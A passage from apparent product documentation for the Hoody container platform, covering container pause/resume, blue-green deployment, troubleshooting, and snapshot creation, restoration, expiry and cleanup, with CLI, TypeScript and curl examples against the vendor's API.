    hoody containers list
    hoody containers manage $CONTAINER_ID resume
    ```
  
  
    ```typescript
    // List running containers
    const running = await client.api.containers.list();

    // Pause non-critical containers
    for (const c of running.data.containers) {
      if (c.status === 'running' && !critical.includes(c.name)) {
        await client.api.containers.manage(c.id, 'pause');
      }
    }

    // Morning: Resume all paused
    const paused = await client.api.containers.list();
    for (const c of paused.data.containers) {
      if (c.status === 'paused') {
        await client.api.containers.manage(c.id, 'resume');
      }
    }
    ```
  
  
    ```bash
    # List all containers (no server-side status filter; filter client-side)
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Pause each non-critical container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/pause" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Morning: list again, filter client-side for status == "paused"
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Resume each
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/resume" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Cost savings:** CPU hours not charged while paused (minimal RAM charge).

### Scenario 4: Blue-Green Deployment


  
    ```bash
    # 1. Start green container
    hoody containers manage $GREEN_ID start

    # 2. Verify green is healthy
    hoody containers get $GREEN_ID --runtime true

    # 3. Re-point alias to green (delete + recreate — container_id is immutable)
    hoody proxy delete $ALIAS_ID
    hoody proxy create --container-id $GREEN_ID \
      --alias "prod" --program "web" --index 1 --target-path "/"

    # 4. Monitor green in production

    # 5. After verification, stop blue
    hoody containers manage $BLUE_ID stop
    ```
  
  
    ```typescript
    // 1. Start green container
    await client.api.containers.manage(GREEN_ID, 'start');

    // 2. Verify green is healthy
    const green = await client.api.containers.get(GREEN_ID, { runtime: 'true' });
    console.log(green.data.status); // 'running'

    // 3. Re-point alias to green (delete + recreate — container_id is immutable)
    await client.api.proxyAliases.delete(ALIAS_ID);
    await client.api.proxyAliases.create({
      container_id: GREEN_ID,
      alias: 'prod',
      program: 'web',
      index: 1,
      target_path: '/'
    });

    // 4. After verification, stop blue
    await client.api.containers.manage(BLUE_ID, 'stop');
    ```
  
  
    ```bash
    # 1. Start green container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{green_id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 2. Verify green is healthy
    curl "https://api.hoody.icu/api/v1/containers/{green_id}?runtime=true" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 3. Re-point alias to green (delete + recreate — container_id is immutable)
    curl -X DELETE "https://api.hoody.icu/api/v1/proxy/aliases/{alias_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "{green_id}",
        "alias": "prod",
        "program": "web",
        "index": 1,
        "target_path": "/"
      }'

    # 4. After verification, stop blue
    curl -X POST "https://api.hoody.icu/api/v1/containers/{blue_id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## Monitoring Container Operations

### Check Current Status



**Key fields:**
- `status`: Current state (running, stopped, paused)
- `updated_at`: Last modification time

### Get Runtime Information



**Shows:**
- Active terminal sessions
- Display connections
- Running services (PIDs, ports)
- Network services
- Memory/CPU usage

### Track Operations Over Time



**Analyze:**
- Frequency of restarts (stability indicator)
- Downtime duration
- Who triggered changes
- Operation timing patterns

---

## Best Practices

### 1. Always Snapshot Before Risky Operations

```bash
# Before forcing stop or major changes
POST /api/v1/containers/{id}/snapshots
{"alias": "before-maintenance"}
```

### 2. Use Graceful Stop, Not Force-Stop

```bash
# ✅ Preferred (gives processes time to cleanup)
POST /api/v1/containers/{id}/stop

# ❌ Last resort only (can corrupt data)
POST /api/v1/containers/{id}/force-stop
```

### 3. Verify Operations Complete

```bash
# Don't assume success - verify
async function stopContainer(id) {
  await fetch(`https://api.hoody.icu/api/v1/containers/${id}/stop`, {
    method: 'POST',
    headers: { 'Authorization': `Bearer ${token}` }
  });

  // Poll until stopped
  let attempts = 0;
  while (attempts < 30) {
    const status = await fetch(
      `https://api.hoody.icu/api/v1/containers/${id}`,
      { headers: { 'Authorization': `Bearer ${token}` }}
    ).then(r => r.json());

    if (status.data.status === 'stopped') {
      return true;
    }

    await new Promise(r => setTimeout(r, 1000));
    attempts++;
  }

  throw new Error('Container did not stop in time');
}
```

### 4. Document Operation Triggers

```bash
# Add context to operations via comments
# (Though API doesn't accept comment on operations, document externally)

# In your automation scripts:
// Stopping container for scheduled backup - see RUNBOOK.md section 4.2
await stopContainer(prodId);
```

### 5. Coordinate with Team for Shared Containers

**Before stopping shared containers:**
- Notify team via chat/email
- Check who's connected: `GET /api/v1/containers/{id}?runtime=true`
- Look at `runtime_info.displays.connected_clients` and `runtime_info.terminals`
- Schedule during off-hours when possible

**See:** [Multiplayer by Default](/vision/multiplayer/) for collaboration context.

---

## Useful Questions

### Can I start multiple containers simultaneously?

Yes! Operations are independent HTTP requests. Start 100 containers in parallel:

```javascript
await Promise.all(
  containerIds.map(id =>
    fetch(`https://api.hoody.icu/api/v1/containers/${id}/start`, {
      method: 'POST',
      headers: { 'Authorization': `Bearer ${token}` }
    })
  )
);
```

### What happens to service URLs when container is stopped?

All service URLs return connection errors or 503 Service Unavailable. The URLs exist but services aren't running. On restart, same URLs become accessible again.

### Can I pause a container, then update its configuration?

No. Configuration updates require `stopped` status, not `paused`. Workflow: resume → stop → update → start.

### Does autostart work across server reboots?

Yes. When your server restarts (maintenance, updates, power cycle), all containers with `autostart: true` start automatically. Typically within 1-2 minutes of server being back online.

### Can I be notified when operations complete?

Not directly via the API. Poll container status or status-logs endpoints. Or use [hoody-notifications](/kit/notifications/) service within containers to send alerts when operations complete.

### What happens if I stop a container while someone is using it?

All connections terminate immediately. Active terminal sessions close. Display disconnects. File operations fail. Always coordinate with users before stopping shared containers. Consider [multiplayer implications](/vision/multiplayer/).

### Do paused containers count toward resource quotas?

Yes for RAM (state is in memory). No for CPU (processes frozen). Storage always counts. Pausing doesn't free up resource quotas.

### Can containers auto-restart if they crash?

Not automatically via the API. Implement monitoring that checks status and restarts if needed. Or use systemd inside containers for process-level auto-restart. Or configure `autostart: true` for server boot recovery.

### What's the difference between restart and stop+start?

Functionally identical. `restart` is convenience endpoint that does stop then start in one call. Same total time, same result, less API calls.

---

## Troubleshooting

### Container Won't Start

**Problem:** Start operation fails or container stuck in "creating"

**Solutions:**

1. **Check status logs:**
   ```bash
   GET /api/v1/containers/{id}/status-logs?limit=5&sort_order=desc
   
   # Look for error messages in metadata
   ```

2. **Verify server is available:**
   ```bash
   GET /api/v1/servers/{server_id}
   # Check: status should be "ready", not "maintenance"
   ```

3. **Check resource availability:**
   - Server may be at capacity
   - Try reducing allocated resources
   - Or move to different server via [copy](/foundation/containers/copy-sync/)

4. **Look for image issues:**
   ```bash
   GET /api/v1/containers/{id}
   # Check container_image is valid
   ```

### Graceful Stop Hangs

**Problem:** Stop operation doesn't complete

**Cause:** Container processes not responding to SIGTERM

**Solutions:**

1. **Retry the graceful stop:**
   ```bash
   POST /api/v1/containers/{id}/stop
   ```

2. **Force stop if necessary:**
   ```bash
   POST /api/v1/containers/{id}/force-stop
   ```

3. **Check what's running:**
   ```bash
   # SSH or terminal into container
   ps aux
   # Identify stuck processes
   ```

### Resume Fails After Pause

**Problem:** Resume operation returns error

**Causes & Solutions:**

1. **Server rebooted during pause:**
   - Paused state is lost on server reboot
   - Solution: Start container instead of resume

2. **RAM pressure:**
   - Server may have deallocated paused container memory
   - Solution: Start fresh (state lost)

3. **Container was modified while paused:**
   - Cannot modify paused containers
   - Solution: Resume, then make changes, then re-pause

### Operations Return 400 (Bad Request)

**Problem:** Valid operation returns 400 error

**Check operation validity:**

| Current State | Valid Operations |
|---------------|------------------|
| `running` | stop, force-stop, restart, pause |
| `stopped` | start, restart, delete |
| `paused` | resume |
| `creating` | (none - wait for completion) |
| `failed` | delete |

**Common mistakes:**
- ❌ Starting an already running container
- ❌ Stopping an already stopped container
- ❌ Pausing a stopped container
- ❌ Resuming a running container

**Solution:** Check current status first:

```bash
GET /api/v1/containers/{id}
# Verify status before operation
```

### Service URLs Still Not Working After Start

**Problem:** Container status shows "running" but service URLs fail

**Debug steps:**

1. **Wait for services to initialize:**
   - Status changes to "running" before all services are ready
   - Wait 30-60 seconds after start

2. **Check runtime info:**
   ```bash
   GET /api/v1/containers/{id}?runtime=true
   
   # Verify services appear in runtime_info.services
   # Check for "active" status
   ```

3. **Verify hoody_kit is enabled:**
   ```bash
   GET /api/v1/containers/{id}
   # Check: "hoody_kit": true
   ```

4. **Check specific service:**
   ```bash
   # SSH or terminal into container
   systemctl status hoody-terminal
   systemctl status hoody-display
   # etc.
   ```

### Container Automatically Restarting

**Problem:** Container restarts unexpectedly

**Check causes:**

1. **Autostart enabled + server rebooted:**
   ```bash
   GET /api/v1/containers/{id}
   # Check: "autostart": true
   ```

2. **Check status logs for pattern:**
   ```bash
   GET /api/v1/containers/{id}/status-logs?limit=20
   # Look for frequent "stopped → running" transitions
   # Check triggered_by field
   ```

3. **Process-level crashes:**
   - Container OS auto-restarts
   - Check logs inside container
   - Or configure alerting via [hoody-notifications](/kit/notifications/)

---

## What's Next

**Master container operations:**

1. **[Snapshots →](./snapshots/)** - Capture state before operations, restore if needed
2. **[Copy & Sync →](./copy-sync/)** - Duplicate containers for redundancy
3. **[Images →](./images/)** - Choose optimal OS for your workload

**Operational topics:**
- **[Network Configuration →](/foundation/networking/network/)** - Route through proxies
- **[Firewall →](/foundation/networking/firewall/)** - Control traffic
- **[Hoody Kit Services →](/kit/)** - Use the HTTP services

**Understanding gained:**
- ✅ Containers transition via HTTP operations
- ✅ Start/stop for configuration changes
- ✅ Pause/resume for quick suspension
- ✅ Force-stop only in emergencies
- ✅ Status logs track all transitions
- ✅ Autostart controls boot behavior

---

> **Start containers when needed.**  
> **Pause for quick suspension.**  
> **Stop for maintenance.**  
> **Resume instantly.**  
> **All via HTTP endpoints. All in seconds.**

## Try It Out

Test container operations directly from your browser:

---

# Snapshots

**Page:** foundation/containers/snapshots

[Download Raw Markdown](./foundation/containers/snapshots.md)

---

# Snapshots

**Snapshots are time travel for containers.** Capture complete state at any moment, restore instantly, branch your computers like Git branches code.

After [creating](/foundation/containers/create-edit-delete/) and [managing](/foundation/containers/managing/) containers, you need **protection against mistakes** and the ability to **version your infrastructure**.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains snapshot concepts and workflows. For complete endpoint documentation:

**Snapshot Operations:**
- **[GET /api/v1/containers/\{id\}/snapshots](/api/container-snapshots/)** - List all snapshots
- **[POST /api/v1/containers/\{id\}/snapshots](/api/container-snapshots/)** - Create new snapshot
- **[PATCH /api/v1/containers/\{id\}/snapshots/\{name\}](/api/container-snapshots/)** - Restore from snapshot
- **[DELETE /api/v1/containers/\{id\}/snapshots/\{name\}](/api/container-snapshots/)** - Delete snapshot
- **[PATCH /api/v1/containers/\{id\}/snapshots/\{name\}/alias](/api/container-snapshots/)** - Update snapshot alias

**Related:**
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - Container details
- **[POST /api/v1/containers/\{id\}/copy](/api/container-copy-sync/)** - Copy from specific snapshot

---

> **Prerequisite — `$HOODY_TOKEN`.** The HTTP examples on this page assume `HOODY_TOKEN` is exported to a valid Hoody bearer token. Create one with `hoody auth login` (short-lived JWT) or the [long-lived automation token flow](/foundation/hoody-api/authentication/), then `export HOODY_TOKEN=hdy_…` before running the curl snippets.

## What Are Snapshots?

**A snapshot captures the complete state of a container at a specific moment:**

```
Yesterday ──→ 3 hours ago ──→ 1 hour ago ──→ NOW
    ●              ●               ●            ●
```

**Each point = a snapshot.** Restore to any moment. Everything on disk returns:
- ✅ Entire filesystem (all files, exactly as they were)
- ✅ Database files (data at that moment, as written to disk)
- ✅ Configuration (config files, environment files written to disk)
- ✅ Installed software (packages, dependencies)


**Snapshots are filesystem-only (stateless).** They capture the container's disk at a point in time — not RAM, not running processes, and not in-flight network connections. To guarantee a clean on-disk state for databases or apps holding data in memory, flush/stop them (or stop the container) before snapshotting.


**Think of it as:** Git for entire computers, not just code.

**Powered by Copy-on-Write (CoW):**
- ⚡ **Instant creation** - No need to copy entire filesystem
- 💾 **Space efficient** - Only changed blocks are stored after snapshot
- 🔄 **Fast restoration** - CoW enables rapid rollback to any point
- 📦 **Unlimited snapshots** - Minimal storage overhead per snapshot


**In the AI era, snapshots are survival.** When AI generates code you can't review, snapshot before execution. If it breaks something, instant rollback. Experimentation becomes safe.


---

## Why Snapshots Matter

### The AI Safety Net

From [Understanding Hoody](/vision/obsolescence/):

> **Snapshot before AI rewrites code. Instant rollback if it breaks.**  
> **Snapshot before deployments. Restore everything in seconds.**  
> **Snapshot experiments. Branch computers like Git branches code.**

**Isolation + Time Travel = Security for the AI era.**

### Real-World Protection

**Before risky changes:**



If something breaks, restore the snapshot:



**Before deployments:**

```bash
# Production deployment in progress
POST /api/v1/containers/{prod_id}/snapshots
{"alias": "pre-deploy-2025-11-09-14-30"}

# Deploy...

# Issues in production?
PATCH /api/v1/containers/{prod_id}/snapshots/pre-deploy-2025-11-09-14-30

# Back to working state instantly
```

---

## Creating Snapshots

### Basic Snapshot Creation



**Response:**

```json
{
  "statusCode": 200,
  "message": "Snapshot created successfully",
  "data": {
    "container_id": "890abcdef12345678901cdef",
    "project_id": "67e89abc123def456789abcd",
    "snapshot": {
      "name": "snap-20251109-143045",
      "alias": "production-stable",
      "created_at": "2025-11-09T14:30:45.000Z",
      "last_used_at": null,
      "expires_at": "2026-02-07T14:30:45.000Z",
      "stateful": false,
      "size": 4589764321
    }
  }
}
```

**Snapshot created instantly.** Container continues running (or stopped—snapshots work in any state).

### Snapshot Naming

**Auto-generated names:**
- Format: `snap-YYYYMMDD-HHMMSS`
- Example: `snap-20251109-143045`
- Unique, chronologically sortable

**User-friendly aliases:**
- Optional human-readable name
- Max 100 characters
- Makes snapshots easier to identify
- Example: `"pre-deploy"`, `"working-state"`, `"before-ai-changes"`

### Snapshot Expiration

**Snapshots can auto-delete after specified days:**

```bash
# Expires in 30 days
POST /api/v1/containers/{id}/snapshots
{"alias": "temp-backup", "expiry": 30}

# Expires in 90 days
POST /api/v1/containers/{id}/snapshots
{"alias": "quarterly-backup", "expiry": 90}

# Never expires (omit the `expiry` field entirely)
POST /api/v1/containers/{id}/snapshots
{"alias": "permanent-baseline"}
```

**After expiration:**
- Snapshot auto-deleted
- Storage freed
- Cannot be restored

**Use expiration for:**
- Temporary experiment backups
- Pre-deployment snapshots (delete after verification)
- Automated cleanup of old backups

---

## Restoring Snapshots

**Revert container to any previous snapshot.**

### Basic Restore



**What happens:**
1. Current container filesystem is discarded
2. Snapshot's filesystem is applied
3. Container filesystem reverts to the snapshot
4. On-disk configuration reverts to the snapshot
5. Container starts fresh from the restored filesystem (processes do not resume mid-execution)

**Restoration time:** Typically 5-15 seconds depending on snapshot size.


**Restoration is destructive.** Current container state is lost. If you want to preserve current state, snapshot it first before restoring.


### Safe Restore Workflow


  
    ```bash
    # Capture "right now" before restoring
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -d '{"alias": "before-restore"}'
    ```
    
    **Now you can restore to EITHER state.**
  
  
    ```bash
    # Restore to previous snapshot
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}/snapshots/production-stable" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  
  
    ```bash
    # Check container status
    curl "https://api.hoody.icu/api/v1/containers/{id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Confirm status == "running" (or whatever state matches the snapshot)
    ```
  
  
    ```bash
    # Access via service URLs
    # https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
    
    # Verify everything works as expected
    # If issues, restore to "before-restore" snapshot
    ```
  


---

## Listing Snapshots

**View all snapshots for a container:**



**Response:**

```json
{
  "statusCode": 200,
  "message": "Snapshots retrieved successfully",
  "data": {
    "container_id": "890abcdef12345678901cdef",
    "project_id": "67e89abc123def456789abcd",
    "snapshots": [
      {
        "name": "snap-20251109-143045",
        "alias": "production-stable",
        "created_at": "2025-11-09T14:30:45.000Z",
        "last_used_at": "2025-11-09T16:15:00.000Z",
        "expires_at": "2026-02-07T14:30:45.000Z",
        "stateful": false,
        "size": 4589764321
      },
      {
        "name": "snap-20251108-100000",
        "alias": "before-ai-refactor",
        "created_at": "2025-11-08T10:00:00.000Z",
        "last_used_at": null,
        "expires_at": "2025-12-07T10:00:00.000Z",
        "stateful": false,
        "size": 4123456789
      }
    ]
  }
}
```

**Key information:**
- `name` - Auto-generated identifier (used for restore/delete)
- `alias` - Your friendly name
- `created_at` - When snapshot was taken
- `last_used_at` - When last used for restore/copy (null if never used)
- `expires_at` - Auto-deletion date (null if permanent)
- `stateful` - Whether a RAM/process state was captured. Hoody snapshots are filesystem-only, so this is always `false`.
- `size` - Storage space used (in bytes)

---

## What Snapshots Capture

**Snapshots are stateless (filesystem-only):**

```bash
# Works whether the container is running or stopped
POST /api/v1/containers/{id}/snapshots
```

**Includes:**
- ✅ Filesystem (everything written to disk)
- ❌ Running processes
- ❌ RAM / memory state
- ❌ In-flight network connections

The `stateful` field on every snapshot is `false` — Hoody snapshots do not capture a RAM dump.

**Restoration:** The container's filesystem reverts to the snapshot, then the container starts fresh from that disk state. Processes do **not** resume mid-execution; anything that was only in memory at snapshot time is not restored.


**Snapshotting a running container is safe**, but apps holding important data in memory (databases, queues) should flush to disk — or be stopped — first, so the captured filesystem is consistent.


---

## Deleting Snapshots

**Permanently remove snapshots to free storage:**



**What gets deleted:**
- Snapshot data (the captured filesystem state)
- Snapshot metadata (alias, timestamps)
- Storage space freed

**Cannot be recovered.** The snapshot reference `name` becomes invalid.

### When to Delete Snapshots

**Delete snapshots when:**
- Expired temporary backups
- Superseded by newer snapshots
- Storage optimization needed
- Old experiment branches no longer needed

**Keep snapshots when:**
- Long-term disaster recovery
- Compliance/audit requirements
- Template for new containers ([copy from snapshot](/foundation/containers/copy-sync/))
- Historical reference (architecture decisions, configurations)

---

## Snapshot Strategies

### Strategy 1: Pre-Operation Safety

**Snapshot before every risky change:**

```bash
# Before AI code generation
POST /api/v1/containers/{id}/snapshots
{"alias": "before-ai-gen-${timestamp}"}

# Before manual configuration
POST /api/v1/containers/{id}/snapshots
{"alias": "before-nginx-config"}

# Before dependency updates
POST /api/v1/containers/{id}/snapshots
{"alias": "before-npm-update"}
```

**If anything breaks:** Restore in seconds.

### Strategy 2: Versioned Milestones

**Snapshot significant states:**

```bash
# Working features (permanent — no expiry field)
POST /api/v1/containers/{id}/snapshots
{"alias": "v1.0.0-stable"}

# Before major refactor
POST /api/v1/containers/{id}/snapshots
{"alias": "v1.0.0-before-refactor", "expiry": 90}

# After refactor complete (permanent — no expiry field)
POST /api/v1/containers/{id}/snapshots
{"alias": "v2.0.0-stable"}
```

**Create version history** for your infrastructure.

### Strategy 3: Daily Automated Backups

```javascript
// Automated snapshot script (run via cron)
async function dailyBackup(containerId) {
  const token = process.env.HOODY_TOKEN;
  const date = new Date().toISOString().split('T')[0];
  
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots`,
    {
      method: 'POST',
      headers: {
        'Authorization': `Bearer ${token}`,
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        alias: `daily-backup-${date}`,
        expiry: 30  // Keep 30 days of dailies
      })
    }
  );
  
  console.log(`Backup created: daily-backup-${date}`);
}

// Run at 2 AM daily
dailyBackup('890abcdef12345678901cdef');
```

**Combine with expiry:** Old snapshots auto-delete, no manual cleanup needed.

### Strategy 4: Git-Style Branching

**Branch your infrastructure like Git:**

```bash
# Main production state
POST /api/v1/containers/{prod_id}/snapshots
{"alias": "prod-main"}

# Experiment: Try new feature
POST /api/v1/containers/{prod_id}/snapshots
{"alias": "experiment-feature-x"}

# Work on feature...

# Feature works! Merge by making it the new main
POST /api/v1/containers/{prod_id}/snapshots
{"alias": "prod-main-v2"}

# Or feature failed? Restore to prod-main
PATCH /api/v1/containers/{prod_id}/snapshots/prod-main
```

**Same container, multiple timelines.**

---

## Snapshot Operations

### List All Snapshots



**Returns chronological list** with details for each snapshot.

### Create Snapshot



**Both parameters optional:**
- No alias → Only auto-generated name
- No expiry → Permanent snapshot

### Restore Snapshot



**Use the snapshot's `name`**, as returned by `GET /api/v1/containers/{id}/snapshots`. The `name` is always the auto-generated `snap-<timestamp>` value (e.g. `snap-20251109-143045`), independent of any `alias` you set — the alias is separate metadata, not the restore key. List the snapshots first and pass the `name` field to the restore call.

### Delete Snapshot



**Storage freed immediately.**

---

## Snapshot Size & Storage

**Snapshots consume storage based on container size:**

| Container Size | Snapshot Size |
|----------------|---------------|
| 10 GB filesystem | ~10 GB |
| 50 GB filesystem | ~50 GB |
| 100 GB filesystem | ~100 GB |

Snapshots are filesystem-only, so size tracks the container's on-disk usage (no RAM dump is stored).

**Incremental snapshots:**
- First snapshot: Full size
- Subsequent snapshots: Only changes (incremental)
- Hoody optimizes storage automatically

**Storage costs apply.** Delete old snapshots to minimize expense.

---

## Snapshots vs Container Copy

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Snapshots**

**Purpose:** Time travel within container

**Characteristics:**
- ✅ Instant creation (seconds)
- ✅ Incremental storage
- ✅ Built into container
- ✅ Fast restoration
- ❌ Tied to source container
- ❌ Can't run independently
- ❌ Lost if container deleted

**Use for:**
- Backup/restore
- Experimenting safely
- Rollback mechanism
- Version milestones

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Container Copy**

**Purpose:** Duplicate entire container

**Characteristics:**
- ✅ Independent container
- ✅ Can run on different server
- ✅ Can be in different project
- ✅ Survives source deletion
- ❌ Slower creation (minutes)
- ❌ Full storage (no incremental)
- ❌ More resources required

**Use for:**
- Creating staging from prod
- Disaster recovery (different server)
- Team environments (same setup)
- Production redundancy

</div>

</div>

**You can copy FROM snapshots:**

```bash
# Create container from specific snapshot
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project_id}",
  "name": "restored-copy",
  "source_snapshot": "snap-20251109-143045"
}
```

**See:** [Copy & Sync](/foundation/containers/copy-sync/) for duplication workflows.

---

## Real-World Scenarios

### Scenario 1: Safe AI Experimentation


  
    ```bash
    # 1. Snapshot current working state
    hoody snapshots create --container $DEV_ID --alias "working-baseline"

    # 2. Let AI agent make changes...

    # 3. Changes work? Create new milestone
    hoody snapshots create --container $DEV_ID --alias "with-ai-improvements"

    # Or changes broke something? Restore baseline
    hoody snapshots restore --container $DEV_ID --name working-baseline
    ```
  
  
    ```typescript
    // 1. Snapshot current working state
    await client.api.containers.createSnapshot(DEV_ID, {
      alias: 'working-baseline'
    });

    // 2. Let AI agent make changes...

    // 3. Changes work? Create new milestone
    await client.api.containers.createSnapshot(DEV_ID, {
      alias: 'with-ai-improvements'
    });

    // Or changes broke something? Restore baseline
    await client.api.containers.restoreSnapshot(DEV_ID, 'working-baseline');
    ```
  
  
    ```bash
    # 1. Snapshot current working state
    curl -X POST "https://api.hoody.icu/api/v1/containers/{dev_id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "working-baseline"}'

    # 2. Let AI agent make changes...

    # 3. Changes work? Create new milestone
    curl -X POST "https://api.hoody.icu/api/v1/containers/{dev_id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "with-ai-improvements"}'

    # Or changes broke something? Restore baseline
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{dev_id}/snapshots/working-baseline" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**AI can break things freely.** You always have a way back.

### Scenario 2: Production Deployment with Rollback


  
    ```bash
    # Before deployment
    hoody snapshots create --container $PROD_ID \
      --alias "pre-deploy-v2.1.0" --expiry 30

    # Deploy via terminal/SSH...

    # Issue detected! Rollback
    hoody snapshots restore --container $PROD_ID --name pre-deploy-v2.1.0

    # Production restored in 15 seconds
    ```
  
  
    ```typescript
    // Before deployment
    await client.api.containers.createSnapshot(PROD_ID, {
      alias: 'pre-deploy-v2.1.0',
      expiry: 30
    });

    // Deploy via terminal...

    // Issue detected! Rollback
    await client.api.containers.restoreSnapshot(
      PROD_ID, 'pre-deploy-v2.1.0'
    );
    // Production restored in 15 seconds
    ```
  
  
    ```bash
    # Before deployment
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-deploy-v2.1.0", "expiry": 30}'

    # Deploy via terminal/SSH
    # https://{project}-{prod_id}-terminal-1.{server}.containers.hoody.icu

    # Issue detected! Rollback
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{prod_id}/snapshots/pre-deploy-v2.1.0" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Production restored in 15 seconds
    ```
  


### Scenario 3: Development Checkpoints

```bash
# Working on complex feature over days
# Create checkpoints at milestones

# Day 1: Database schema ready
POST /api/v1/containers/{dev_id}/snapshots
{"alias": "checkpoint-db-schema", "expiry": 7}

# Day 2: API endpoints complete
POST /api/v1/containers/{dev_id}/snapshots
{"alias": "checkpoint-api-done", "expiry": 7}

# Day 3: Frontend integrated
POST /api/v1/containers/{dev_id}/snapshots
{"alias": "checkpoint-frontend", "expiry": 7}

# Something breaks on Day 4?
# Restore to Day 3 checkpoint
PATCH /api/v1/containers/{dev_id}/snapshots/checkpoint-frontend
```

**Time-limited snapshots:** 7-day expiry means automatic cleanup.

### Scenario 4: Container Templates


  
    ```bash
    # Snapshot as permanent template
    hoody snapshots create --container $TEMPLATE_ID \
      --alias "dev-template-2025"

    # New developer joins? Copy from this snapshot
    hoody containers copy $TEMPLATE_ID \
      --target-project-id $THEIR_PROJECT \
      --name "new-dev-env" \
      --source-snapshot "snap-20251109-143045"
    ```
  
  
    ```typescript
    // Snapshot as permanent template (omit `expiry` for no expiration)
    await client.api.containers.createSnapshot(TEMPLATE_ID, {
      alias: 'dev-template-2025'
    });

    // New developer joins? Copy from this snapshot
    await client.api.containers.copy(TEMPLATE_ID, {
      target_project_id: THEIR_PROJECT,
      name: 'new-dev-env',
      source_snapshot: 'snap-20251109-143045'
    });
    ```
  
  
    ```bash
    # Snapshot as permanent template
    curl -X POST "https://api.hoody.icu/api/v1/containers/{template_id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "dev-template-2025"}'

    # New developer joins? Copy from this snapshot
    curl -X POST "https://api.hoody.icu/api/v1/containers/{template_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "target_project_id": "{their_project}",
        "name": "new-dev-env",
        "source_snapshot": "snap-20251109-143045"
      }'
    ```
  


**One perfect setup, infinite duplicates.**

---

## Snapshot Management

### List Snapshots



**Use the returned list to:**
- Monitor snapshot accumulation (`response.data.length`)
- Trigger cleanup when count is high
- Verify a specific snapshot exists before restore

### Cleanup Old Snapshots

```javascript
// Delete snapshots older than 30 days (except permanent ones)
async function cleanupSnapshots(containerId) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 'Authorization': `Bearer ${token}` };
  
  // Get all snapshots
  const response = await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots`,
    { headers }
  );
  const { snapshots } = await response.json().then(r => r.data);
  
  // Find old, non-permanent snapshots
  const thirtyDaysAgo = Date.now() - (30 * 24 * 60 * 60 * 1000);
  
  for (const snapshot of snapshots) {
    const createdTime = new Date(snapshot.created_at).getTime();
    const isPermanent = snapshot.expires_at === null;
    
    if (!isPermanent && createdTime < thirtyDaysAgo) {
      await fetch(
        `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots/${snapshot.name}`,
        { method: 'DELETE', headers }
      );
      console.log(`Deleted old snapshot: ${snapshot.alias || snapshot.name}`);
    }
  }
}
```

**Or use expiry parameter:** Snapshots delete themselves automatically.

---

## Snapshot Best Practices

### 1. Snapshot Before Destructive Operations

```bash
# ✅ Always snapshot before:
POST /api/v1/containers/{id}/snapshots

# Then:
- force-stop operations
- major configuration changes
- dependency updates (npm, apt, pip)
- database migrations
- letting AI modify code
- production deployments
```

### 2. Use Descriptive Aliases

```bash
# ✅ Good aliases (context-rich)
{"alias": "pre-deploy-v2.1.0-2025-11-09"}
{"alias": "before-database-migration"}
{"alias": "working-state-ai-approved"}

# ❌ Poor aliases (vague)
{"alias": "backup"}
{"alias": "test"}
{"alias": "snapshot1"}
```

**Future you will thank present you.**

### 3. Set Appropriate Expiration


  
    ```json
    {
      "alias": "before-experiment",
      "expiry": 7
    }
    ```
    
    **Short experiments:** 7 days auto-cleanup
  
  
    ```json
    {
      "alias": "pre-deploy-v2.1.0",
      "expiry": 30
    }
    ```
    
    **After deployment verified (30 days):** Auto-delete
  
  
    ```json
    {
      "alias": "v1.0.0-stable"
    }
    ```

    **Major versions:** Omit `expiry` to keep permanently
  


### 4. Stop (or Quiesce) Before Snapshotting for Consistency

```bash
# Before snapshotting a container with active databases/writes:

# 1. Stop container (or flush/quiesce the workload)
POST /api/v1/containers/{id}/stop

# 2. Create snapshot of a quiet, consistent filesystem
POST /api/v1/containers/{id}/snapshots
{"alias": "daily-backup"}

